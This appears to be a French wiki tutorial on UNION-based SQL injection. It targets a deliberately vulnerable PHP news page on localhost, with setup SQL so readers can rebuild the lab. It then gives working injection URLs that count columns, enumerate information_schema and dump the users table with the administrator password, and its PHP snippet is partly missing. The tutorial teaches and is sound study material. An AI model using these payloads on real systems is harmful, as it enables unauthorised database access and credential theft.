-- Exemple d'une requête simple
SELECT titre,auteur,contenu FROM news WHERE id = 1337
Maintenant, imaginons que chaque news est chargé dynamiquement à partir d'un paramètre de l'URL
".$news['titre']." par ".$news['auteur']."
";
echo "".$news['contenu']."
";
La sélection de la news se fait en fonction de la variable GET id. Par exemple, //news.php?id=1// affichera la première news, et ainsi de suite ...
Le soucis dans ce code c'est que la variable GET est utilisée directement dans la requête SQL. Le client malveillant contrôle parfaitement cette variable et peu donc à tout moment modifier le comportement de la requête afin de sélectionner ce que bon lui semble dans la base de donnée. C'est le principe de l'injection SQL.
===== Exploitation basique (UNION) =====
==== Contexte ====
On va étudier le cas d'une page qui affiche des news stockées dans une base de donnée. Notre but va être de récupérer le mot de passe de l'administrateur qui est stocké dans la base de donnée. Nous allons faire comme si nous ne connaissons pas la structure de la base de données. Nous utilisons une base de donnée MySQL 5. Afin que vous puissiez reproduire ce scénario chez vous, si vous le souhaitez, voici les différentes requêtes pour créer les tables ainsi que le script PHP.
--
-- Structure de la table `news`
--
CREATE TABLE `news` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`titre` varchar(255) NOT NULL,
`auteur` varchar(255) NOT NULL,
`contenu` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
--
-- Contenu de la table `news`
--
INSERT INTO `news` VALUES(1, 'Première news', 'tlk', 'Contenu première news');
INSERT INTO `news` VALUES(2, 'Seconde news', 'tlk', 'Contenu seconde news');
-- --------------------------------------------------------
--
-- Structure de la table `users`
--
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) NOT NULL,
`password` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
--
-- Contenu de la table `users`
--
INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
".$news['contenu']."
";
SELECT id FROM news UNION SELECT 1,2
nous renvois
#1222 - The used SELECT statements have a different number of columns
Maintenant
SELECT id,titre FROM news UNION SELECT 1,2
nous renvois
^ ID ^ Titre ^
| 1 | Première news |
| 2 | Seconde news |
| 1 | 2 |
On remarque ici que le résultat de la requête que l'on contrôle est mis à la suite de la première. Notre page affichera donc uniquement la première news, or ce que nous désirons, c'est afficher le résultat de notre propre requête. Il faut donc que la première requête ne renvois aucun résultat.
SELECT id,titre FROM news WHERE id=-1 UNION SELECT 1,2
^ ID ^ Titre ^
| 1 | 2 |
Le résultat est bien celui attendu :-)
==== Trouver le nombre de colonnes ====
Comme on vient de le voir, il est nécessaire de connaître le nombre de colonnes de la première requête pour faire fonctionner correctement le UNION.
Une technique très simple existe : ORDER BY. La clause ORDER BY permet de trier le tableau résultant de la requête en fonction d'une colonne, de manière croissante ou décroissante. Il est non seulement possible de renseigner cette colonne par son nom, mais aussi par son identifiant, la première colonne portant l'identifiant 1, la seconde 2, etc ... Il est donc très facile de connaître le nombre de colonne d'une requête dont on contrôle une partie.
http://localhost/news.php?id=1 ORDER BY 1
Pas d'erreur.
http://localhost/news.php?id=1 ORDER BY 2
Pas d'erreur.
http://localhost/news.php?id=1 ORDER BY 3
Pas d'erreur.
http://localhost/news.php?id=1 ORDER BY 4
Unknown column '4' in 'order clause'
On peut donc en conclure que la requête porte sur 3 colonnes. Notre requête utilisée pour le UNION devra donc elle aussi comporter 3 colonnes.
==== Liste des bases de données ====
Afin de maximiser les chances de trouver ce que nous cherchons, il est possible de lister toutes les bases de données présentent sur le serveur. La liste des bases de données est disponible dans la table //schemata// de la base de donnée //information_schema//. [[http://dev.mysql.com/doc/refman/5.0/fr/information-schema.html|Plus d'information concernant la base de données information_schema]]
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata
La page renvoyée par cette requête ressemble à ça :
1
par 2
information_schema,sqli
Ici notre première requête ne renvois aucun résultat. La seconde requête elle renvois la liste des bases de données séparées par une virgule. Il en sera ainsi pour toutes les données extraites.
==== Liste des tables ====
De la même manière que la liste des bases de données, la liste des tables de chaque base de données se trouve dans la base de données //information_schema// mais dans la table //tables//. Classiquement, on liste les tables de la base de données courante.
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = database()
news,users
==== Liste des colonnes d'une table ====
Les colonnes d'une table peuvent se trouver facilement grâce à la table //columns// de la base de données //information_schema//.
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'
id,name,password
==== Informations d'une table ====
Nous possédons toutes les données nécessaire pour extraire des informations intéressante de la base de donnée. En l'occurrence les informations des utilisateurs.
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(id,0x202D20,name,0x202D20,password) FROM users
1 - administrateur - SuperPass
Ici, chaque tuple de la table //users// sera affiché et séparé par une virgule. Le //group_concat// réalise cette opération. Chaque tuple est affiché sous la forme //id - name - password//. Le //0x202D20// correspond en fait à l'espace et au tiret qui sépare chaque colonne.